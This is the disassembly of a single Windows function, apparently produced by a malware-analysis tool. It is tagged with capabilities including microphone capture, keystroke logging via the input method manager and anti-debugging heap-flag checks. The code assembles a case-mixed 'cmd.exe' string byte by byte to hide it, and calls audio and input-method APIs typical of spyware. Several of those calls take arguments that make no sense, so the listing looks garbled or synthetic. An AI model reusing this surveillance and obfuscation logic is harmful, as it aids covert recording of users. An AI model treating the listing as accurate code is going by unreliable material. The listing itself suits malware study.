Function at 0x20002cd0
Capabilities:
Access peb ldr_data
Capture microphone audio
Get common file path
Get ntdll base address
Get number of processors
Get process heap flags
Get process heap force flags
Log keystrokes via input method manager

Disassembly:
push 0xffffffffffffffff
push 0x200198db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x66c
mov eax, dword [esp + 0x67c]
push ebx
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x2c], esi
call sym.drprov.dll_NPEnumResource
xor ebx, ebx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x30]
mov dword [esp + 0x2c], ebx
mov byte [esp + 0x70], bl
rep stosd dword es:[edi], eax
xor ecx, ecx
lea edi, [esp + 0x71]
mov dword [esp + 0x10], ecx
mov byte [esp + 0x174], bl
mov dword [esp + 0x14], ecx
xor edx, edx
mov dword [esp + 0x18], ecx
mov ecx, 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x175]
mov dword [esp + 0xc], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x2c]
mov dword [esp + 0xc], edx
mov dword [esi], 0x2001a73c
mov dword [esp + 0x10], edx
rep stosd dword es:[edi], eax
mov dword [esi + 0x24], ebx
mov byte [esi + 0x140], bl
mov eax, dword [0x200238ec]
mov dword [esp + 0x14], edx
cmp eax, ebx
mov dword [esp + 0x680], ebx
mov word [esp + 0x1c], 0x50
mov word [esp + 0x1e], 0xc8
mov word [esp + 0x20], bx
mov word [esp + 0x22], bx
mov word [esp + 0x24], 0x4f
mov word [esp + 0x26], 0x18
mov dword [esp + 0x18], edx
jne 0x20002dd1
push ebx
push ebx
push ebx
push ebx
push 0x20015d20
push ebx
push ebx
call fcn.2000ab10
mov dword [esi + 0x24], eax
add esp, 0x1c
mov dword [0x200238ec], eax
push ebp
lea eax, [esp + 0x74]
push 0x104
push eax
call dword [sym.imp.IMM32.dll_ImmGetCompositionStringA]
lea ecx, [esp + 0x74]
lea edx, [esp + 0x178]
push ecx
push edx
call dword [sym.imp.IMM32.dll_ImmReleaseContext]
lea eax, [esp + 0x74]
push eax
call dword [sym.imp.IMM32.dll_ImmGetContext]
lea eax, [esp + eax + 0x74]
mov ebp, dword [0x2001a138]
mov byte [eax], 0x5c
inc eax
mov byte [eax], 0x63
inc eax
mov byte [eax], 0x4d
inc eax
mov byte [eax], 0x64
inc eax
mov byte [eax], 0x2e
inc eax
mov byte [eax], 0x65
inc eax
mov byte [eax], 0x58
inc eax
mov byte [eax], 0x45
mov byte [eax + 1], bl
cmp byte [0x200238f0], bl
jne 0x20002e46
push 0xedd37dd5
push ebx
call fcn.2000a8d0
add esp, 8
test eax, eax
je 0x20002e98
lea edi, [esi + 0x3c]
mov byte [0x200238f0], bl
push edi
push 0x104
call fcn.20011220
add esp, 8
push 0x20021094
push edi
call ebp
push edi
call fcn.2000d940
add esp, 4
test al, al
jne 0x20002e7f
push ebx
lea ecx, [esp + 0x78]
push edi
push ecx
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryA]
push edi
call fcn.2000d940
add esp, 4
test al, al
je 0x20002e98
lea edx, [esp + 0x74]
push edi
push edx
call dword [sym.imp.IMM32.dll_ImmReleaseContext]
call dword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov edi, dword [0x2001a12c]
push 0xfffffffffffffff5
test eax, eax
setne al
mov byte [esi + 0x140], al
call edi
push 0xfffffffffffffff6
mov dword [esi + 0x10], eax
call edi
mov ecx, dword [esi + 0x10]
mov dword [esi + 0x14], eax
mov dword [esi + 0x20], ecx
mov dword [esp + 0x70], ecx
mov dword [esp + 0x6c], ecx
lea ecx, [esp + 0x30]
push ecx
mov dword [esp + 0x6c], eax
call dword [sym.imp.WINMM.dll_waveInOpen]
lea edx, [esp + 0x74]
push 0x20021090
push edx
mov dword [esp + 0x38], 0x44
mov word [esp + 0x68], bx
mov dword [esp + 0x64], 1
call ebp
lea eax, [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
lea edx, [esp + 0x17c]
push ecx
push edx
push ebx
push 0x20
push 1
push ebx
lea eax, [esp + 0x90]
push ebx
push eax
push ebx
call dword [sym.imp.WINMM.dll_mixerOpen]
test eax, eax
pop ebp
jne 0x20002f45
mov ecx, dword [esp + 0x688]
push 1
mov byte [0x200238f0], 1
call fcn.20010cc0
mov dword [esi + 0x18], ebx
jmp 0x20002ffb
mov ecx, dword [esp + 0x1c]
mov edx, dword [esi + 0x20]
push ecx
push edx
call dword [sym.imp.WINMM.dll_waveOutOpen]
mov ecx, dword [esi + 0x20]
lea eax, [esp + 0x20]
push eax
push 1
push ecx
call dword [sym.imp.WINMM.dll_waveOutReset]
mov edx, dword [sym.imp.WINMM.dll_waveInGetDevCapsA]
mov edi, dword [0x2001a114]
push ebx
push edx
call edi
push 1
push 0x20004c80
call edi
push ebx
push ebx
call edi
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0xc]
push edx
mov dword [esi + 0x28], eax
mov dword [esi + 0x18], ecx
call dword [0x2001a30c]
call dword [sym.imp.MSVCRT.dll_wcstombs]
mov dword [esi + 0x30], eax
lea eax, [esp + 0x278]
push 0x400
push eax
mov ecx, esi
mov word [esi + 0x34], 0xc8
mov byte [esp + 0x280], 0x80
mov byte [esp + 0x281], 3
call fcn.200101c0
mov ecx, esi
call fcn.20001b80
mov dword [esi + 0x2c], 1
call dword [sym.imp.MSVCRT.dll__initterm]
push ebx
push ebx
push ebx
push esi
push 0x20013a50
push ebx
push ebx
mov dword [esi + 0x38], eax
call fcn.2000ab10
add esp, 0x1c
mov dword [esi + 0x1c], eax
mov ecx, dword [esp + 0x678]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x678
ret 4